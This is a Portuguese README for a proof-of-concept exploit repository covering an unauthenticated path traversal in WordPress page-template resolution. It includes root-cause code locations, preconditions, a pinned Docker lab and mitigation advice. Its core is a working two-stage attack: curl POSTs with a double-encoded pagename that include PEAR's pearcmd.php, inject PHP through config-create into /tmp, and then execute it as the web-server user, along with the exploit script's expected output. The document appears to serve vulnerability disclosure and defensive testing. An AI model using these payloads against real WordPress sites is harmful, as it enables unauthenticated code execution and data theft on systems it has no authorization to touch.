
PoC para CVE-2026-87902 — path traversal não autenticado na resolução de page-template do WordPress (inclusão local de PHP, RCE condicional) com um laboratório vulnerável fixado
Inclusão local de ficheiro PHP não autenticada no WordPress Core através de um valor pagename com dupla codificação — e, sob condições específicas de implementação, execução de código PHP com os privilégios da conta do servidor web.
| CVE | CVE-2026-87902 |
| Aviso do fornecedor | GHSA-7hp8-65ch-5whp |
| Análise | CVE-2026-87902: Critical WordPress file inclusion and conditional RCE |
| Afetado | WordPress Core 4.7.0 – 7.1.1 (todos os ramos, de acordo com os intervalos por ramo do aviso); reproduzido dinamicamente na 7.0.2 |
| Corrigido | 7.1.2 (ramo 7.1), 7.0.6 (ramo 7.0) e um backport para todos os ramos até 4.7.37 (de acordo com o aviso) |
| Fraquezas | CWE-98 (controlo inadequado do nome do ficheiro em include), CWE-22 / CWE-23 (path traversal) |
| CVSS v3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 High |
| CVSS v4.0 (suplementar) | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 Critical |
| Autenticação | nenhuma — sem conta, cookie, nonce, sessão, plugin ou pedido de saída |
| Interação do utilizador | nenhuma |
| Autor | Robert Ressl — ressl.ch |
| PoC verificado | 2026-09-22 contra o laboratório neste repositório — ver Resultados verificados |
O WordPress resolve um template de Página através de uma cadeia que nunca prova que o ficheiro selecionado permanece dentro de uma raiz de tema:
pagename e page_id são variáveis de consulta públicas que WP::parse_request() aceita de um corpo POST anónimo.pagename sobrevive à sanitização inicial da consulta como octetos %xx escapados (wp_basename() não consegue ver %2f como separador, e sanitize_title_with_dashes() mantém deliberadamente octetos válidos).page_id válido seleciona então uma Página publicada real, enquanto o pagename malicioso permanece no objeto de consulta.get_page_template() chama posteriormente urldecode() sobre esse valor e adiciona um candidato como page-templates/../../../../../../../usr/local/lib/php/pearcmd.php à hierarquia de templates.locate_template() e o carregador final de templates apenas verificam a existência, a legibilidade e o sufixo .php/.html — nunca que o caminho canónico ainda esteja dentro de uma raiz de tema permitida — e depois fazem include do mesmo.Isto é uma primitiva de inclusão local de ficheiro remota não autenticada no WordPress Core. No runtime oficial testado (wordpress:php8.3-apache, que inclui o PEAR e não carrega nenhum php.ini, pelo que register_argc_argv está On), a inclusão foi encadeada através do pearcmd.php do PEAR: um primeiro pedido anónimo faz com que config-create escreva PHP controlado pelo atacante em /tmp, um segundo pedido anónimo inclui esse ficheiro e executa-o como www-data.
A ausência de contenção de caminho no Core é a vulnerabilidade. O PEAR é apenas uma rota dependente do ambiente da inclusão para a execução de código — não é uma dependência do WordPress e não está presente ou utilizável em todas as implementações.
Localizações de código verificadas (WordPress 7.0.2):
| # | Localização | Papel |
|---|---|---|
| 1 | wp-includes/class-wp.php:18,322-330 | pagename e page_id são query vars públicas e são lidas de $_POST |
| 2 | wp-includes/class-wp-query.php:2205 | sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — %2f não é um separador para wp_basename() |
| 3 | wp-includes/formatting.php:2283-2289 | sanitize_title_with_dashes() preserva octetos %xx válidos em vez de os remover |
| 4 | wp-includes/template.php:492 | $pagename_decoded = urldecode( $pagename ); — o traversal torna-se ativo após a sanitização |
| 5 | wp-includes/template.php:722-736 | locate_template() concatena o candidato abaixo de cada raiz de tema e apenas chama file_exists() |
| 6 | wp-includes/template-loader.php:116-132 | realpath() normaliza o caminho, depois include é executado sem qualquer verificação canónica de contenção na raiz |
| 7 | wp-includes/canonical.php:42-47 | redirect_canonical() retorna antecipadamente para pedidos não-GET/HEAD, pelo que um POST não é canonicalizado para fora |
A primitiva de inclusão autónoma necessita de:
| # | Pré-condição | Razão |
|---|---|---|
| 1 | Uma Página publicada e acessível anonimamente, selecionada por page_id numérico | a página tem de ser devolvida pela consulta após a falha da pesquisa do pathname |
| 2 | Nenhum template de página personalizado resolvível anteriormente | um template atribuído válido é ordenado antes do candidato malicioso |
| 3 | Um diretório de nível superior no tema ativo (filho ou pai) cujo nome começa por page-, por exemplo page-templates/ | o WordPress pré-fixa o prefixo fixo page-, pelo que um traversal .. não pode começar na posição 0; o diretório apenas tem de existir e ser atravessável — não tem de ser gravável |
| 4 | Um ficheiro .php local selecionado que exista e seja legível pelo utilizador PHP | o carregador verifica is_file()/is_readable() e exige um sufixo .php |
| 5 | Nenhum confinamento do sistema de ficheiros a bloquear esse ficheiro | uma política open_basedir ou MAC pode impedir a inclusão |
A fase PEAR demonstrada necessita adicionalmente de um pearcmd.php legível (mais as suas dependências), register_argc_argv=On para o SAPI web, e um diretório de saída gravável. Os ficheiros php.ini de produção definem register_argc_argv=Off; a imagem testada não carrega nenhum php.ini, pelo que se aplicou o valor predefinido compilado (On). Este é um limite importante na prevalência da cadeia de execução de código demonstrada.
Os temas incluídos Twenty Twenty-Three/Four/Five não incluem nenhum diretório page-* de nível superior, pelo que o laboratório padrão necessita da fixture descrita abaixo. Os temas personalizados podem legitimamente usar uma estrutura page-templates/ (documentação do WordPress).
O aviso regista onde estas condições ocorrem em software distribuído: a condição do tema é satisfeita pelos temas legados Twenty Twelve e Twenty Fourteen e por temas de terceiros como Neve, Hestia e Sydney, enquanto a transição PEAR se aplica à imagem oficial PHP Docker e a configurações predefinidas do cPanel a executar PHP anterior ao 8.5. (Twenty Twelve e Twenty Fourteen incluem ambos um diretório page-templates/ de nível superior; as restantes afirmações são do aviso.) Este repositório não mede a frequência com que a cadeia completa se aplica.
./lab/up.sh # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py # two anonymous POSTs, prints the proof marker
cve-2026-87902.py necessita de Python 3.6+ (apenas biblioteca padrão) e alcança o laboratório em http://127.0.0.1:8091 por predefinição. Saída esperada:
[*] target : http://127.0.0.1:8091
[*] page id : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7 : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges
O código de saída é 0 em caso de sucesso e 1 caso contrário, pelo que o PoC também funciona como verificação de regressão/deteção.
Desmontagem: docker compose down -v.
Executado em 2026-09-22 contra este laboratório (Docker 29.4, OrbStack, Apple silicon):
| Verificação | Resultado |
|---|---|
| Fase 1 | HTTP 200; /tmp/wp-pear-rce-flag.php escrito como www-data:www-data, modo 0644, 1219 bytes |
| SHA-256 do payload | 460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — idêntico ao hash registado no relatório original |
| Fase 2 | HTTP 200; o PHP injetado imprimiu o artefacto de prova com modo 0444 |
| Ocorrências do marcador | 12 (o PEAR serializa o valor raiz controlado em 12 entradas de configuração) |
| Credenciais utilizadas | nenhuma — sem cabeçalho Cookie ou Authorization em qualquer pedido |
| Controlo negativo | page-templates/ removido → a fase 2 devolve a página normal, sem marcador, código de saída 1 |
O artefacto de prova é /flag, propriedade de root e legível por todos (root:root, modo 0444) dentro do contentor. Prova a execução de PHP e o acesso a ficheiros como a conta do servidor web; não é um alvo de escalada de privilégios.
Dois POSTs anónimos. Os valores de encaminhamento do WordPress viajam no corpo do formulário, os argumentos do PEAR na query string em bruto (o PHP divide a query string em bruto no + literal em argv e não descodifica individualmente os argumentos):
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>" # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php" # output file
Fase 1 — incluir pearcmd.php e escrever o payload:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'
Fase 2 — incluir o ficheiro gerado e executar o seu PHP:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'
Detalhes que importam:
templates%2f%2e%2e%2f...; o sanitizador mantém esses octetos, e apenas o urldecode() tardio de get_page_template() os transforma em / e ...page-. O WordPress pré-fixa page- ao valor, pelo que o diretório fixture page-templates/ corresponde ao segmento inicial templates..php forçado. O candidato é page-<decoded>.php, razão pela qual o alvo é indicado sem sufixo (.../pearcmd, /tmp/wp-pear-rce-flag).POST, não GET. redirect_canonical() ignora pedidos não-GET/HEAD, e o corpo do formulário permite que a query string transporte apenas os argumentos do PEAR.wp_magic_quotes() também é executado sobre $_SERVER, pelo que o argv construído pelo servidor é escapado e o PEAR normaliza posteriormente as barras invertidas. O payload verificado usa chr() e não contém caracteres de aspas. (Reduz-se a <?=file_get_contents('/flag')?>.)config-create. O PEAR rejeita uma raiz relativa (Root directory must be an absolute path beginning with "/"), pelo que o payload é injetado como o próprio caminho raiz.cve-2026-87902.py percorre segmentos .. até o traversal alcançar o alvo (7 para a estrutura deste laboratório, --depth para o fixar).lab/up.sh executa três passos e é seguro reexecutar:
docker compose up -d --build --wait — wordpress:7.0.2-php8.3-apache fixado mais mysql:8.4, porta 127.0.0.1:8091 (apenas loopback).admin / adminadmin) se o site ainda não estiver instalado.wp-content/themes/twentytwentyfive/page-templates/, root:root, modo 0755, vazio.A imagem do laboratório adiciona register_argc_argv=On explicitamente (lab/Dockerfile) em vez de depender do valor predefinido compilado, e inclui /flag (root:root, modo 0444, conteúdo CVE-2026-87902-POC-OK).
| Componente | Valor |
|---|---|
| WordPress | 7.0.2 (wordpress:7.0.2-php8.3-apache) |
| PHP / SAPI | 8.3.33, módulo Apache |
| PEAR | 1.10.18 em /usr/local/lib/php/pearcmd.php |
| MySQL | 8.4 |
register_argc_argv | On |
| Tema | Twenty Twenty-Five + fixture page-templates/ vazia propriedade de root |
| Página alvo | Sample Page publicada, ID 2, template predefinido |
| Artefacto de prova | /flag, root:root, modo 0444 |
A tag móvel
wordpress:php8.3-apachenão é utilizável para este laboratório: o bug está corrigido na 7.1.2 e uma tag não fixada transforma silenciosamente o laboratório em corrigido.
Controlos verificados ou documentados:
page-* de nível superior no tema → o prefixo fixo não pode ser removido e o traversal nunca começa (verificado: fixture removida → sem marcador).register_argc_argv=Off → sem escritor PEAR, mas a primitiva de inclusão permanece... → alvo não alcançado (verificado: profundidades 1-6 e 8-12 não produzem marcador no laboratório)./flag) não pode ser lido diretamente — o candidato recebe .php anexado.<, >, = em bruto no alvo do pedido quebra o canal de argumentos do PEAR (específico da implementação).open_basedir/MAC ou um diretório de saída não gravável quebra a cadeia; noexec em /tmp não (o PHP lê e interpreta o ficheiro).Este PoC reproduz uma configuração verificada. Não afirma que todas as instalações do WordPress sejam exploráveis, e não mede a prevalência.
validate_file()), e antes de incluir um template localizado, comparar realpath() do candidato e da raiz do tema com um separador de diretório à direita.register_argc_argv=Off para SAPIs web, remover pontos de entrada PEAR não utilizados e legíveis pela web das imagens de produção, auditar temas filhos e pais quanto a diretórios page-* de nível superior, e restringir o acesso de escrita para a conta PHP.| Caminho | Propósito |
|---|---|
cve-2026-87902.py | exploit: deteção de página, ambas as fases, tratamento de profundidade, verificação do marcador |
lab/up.sh | coloca o laboratório no estado exato que o exploit espera (idempotente) |
docker-compose.yml | WordPress 7.0.2 + MySQL 8.4, porta apenas loopback |
lab/Dockerfile | fixa a versão vulnerável, define register_argc_argv=On, inclui /flag |
lab/flag | conteúdo do artefacto de prova |
| Data | Evento |
|---|---|
| 2026-07-20 | Reportado privadamente através do programa HackerOne do WordPress |
| 2026-07-21 | Receção confirmada |
| 2026-09-15 | Informado de que uma correção estava planeada para uma versão futura; detalhes de atribuição solicitados |
| 2026-09-22 | WordPress 7.1.2 lançado com a correção; aviso GHSA-7hp8-65ch-5whp publicado |
O relatório foi aceite como uma descoberta de segurança válida após a sua classificação inicial ter sido revista; a correspondência não data essa aceitação.
Este repositório é publicado para fins defensivos e de investigação. Utilize-o apenas contra sistemas que possui ou para os quais tem autorização explícita de teste. O laboratório está vinculado a 127.0.0.1 e não deve ser exposto a redes não confiáveis.
MIT — ver LICENSE. Os metadados de citação encontram-se em CITATION.cff:
Ressl, Robert (2026). CVE-2026-87902 PoC: unauthenticated path traversal in WordPress page-template resolution (v1.0.0). https://ressl.ch
O relatório de vulnerabilidade e este PoC foram preparados com assistência de IA para revisão de organização e consistência; o investigador é responsável pelas afirmações técnicas.